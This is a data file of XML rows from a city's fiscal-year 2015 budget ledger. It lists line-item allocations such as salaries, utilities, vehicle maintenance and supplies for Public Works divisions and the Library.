<row _id="13995"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544260.0</object><object_description>BIN REPAIR</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>66500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>66500.0</total></row>
<row _id="13996"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544270.0</object><object_description>BIN PARTS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>72000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>72000.0</total></row>
<row _id="13997"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>478628.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>478628.0</total></row>
<row _id="13998"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1664.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1664.0</total></row>
<row _id="13999"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>533210.0</object><object_description>BLDG OPER / CUST SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>16850.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16850.0</total></row>
<row _id="14000"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>850.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4027.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4027.0</total></row>
<row _id="14001"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4902.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4902.0</total></row>
<row _id="14002"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2130.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2130.0</total></row>
<row _id="14003"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>301764.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>301764.0</total></row>
<row _id="14004"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>15000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="14005"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522920.0</object><object_description>VEHICLES - REPAIRS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>20000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20000.0</total></row>
<row _id="14006"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544180.0</object><object_description>SMALL TOOLS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>10000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="14007"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>153200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>153200.0</total></row>
<row _id="14008"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>588200.0</object><object_description>BLDG RENOVATION / MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>40000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>40000.0</total></row>
<row _id="14009"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="14010"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="14011"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>10188.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10188.0</total></row>
<row _id="14012"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>511250.0</object><object_description>STANDBY PAY</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>20091.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20091.0</total></row>
<row _id="14013"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>68913.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>68913.0</total></row>
<row _id="14014"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4750.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4750.0</total></row>
<row _id="14015"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1405.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1405.0</total></row>
<row _id="14016"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14017"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>9795.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9795.0</total></row>
<row _id="14018"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>95.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>95.0</total></row>
<row _id="14019"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544170.0</object><object_description>UNIF/PROTECIVE CLOTHING</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>6200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6200.0</total></row>
<row _id="14020"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>555190.0</object><object_description>CORPORATE LIBRARY SYSTEMS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>13200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13200.0</total></row>
<row _id="14021"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>63414.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>63414.0</total></row>
<row _id="14022"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1639524.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1639524.0</total></row>
<row _id="14023"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>6577.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6577.0</total></row>
<row _id="14024"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>8000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8000.0</total></row>
<row _id="14025"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>510000.0</object><object_description>SALARIES AND WAGES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14026"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>520000.0</object><object_description>SUPPLIES AND EXPENSES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14027"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>13227.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13227.0</total></row>
<row _id="14028"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>18556.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18556.0</total></row>
<row _id="14029"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>24720.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>24720.0</total></row>
<row _id="14030"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>197901.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>197901.0</total></row>
<row _id="14031"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>115800.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>115800.0</total></row>
<row _id="14032"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2437218.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2437218.0</total></row>
<row _id="14033"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>533210.0</object><object_description>BLDG OPER / CUSTODIAL SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>38500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>38500.0</total></row>
<row _id="14034"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>20714.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20714.0</total></row>
<row _id="14035"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>325.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>325.0</total></row>
<row _id="14036"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>65000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>65000.0</total></row>
<row _id="14037"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>41150.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>41150.0</total></row>
<row _id="14038"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>92571.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>92571.0</total></row>
<row _id="14039"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code>850.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="14040"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5890.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5890.0</total></row>
<row _id="14041"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1330.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1330.0</total></row>
<row _id="14042"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>45280.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>45280.0</total></row>
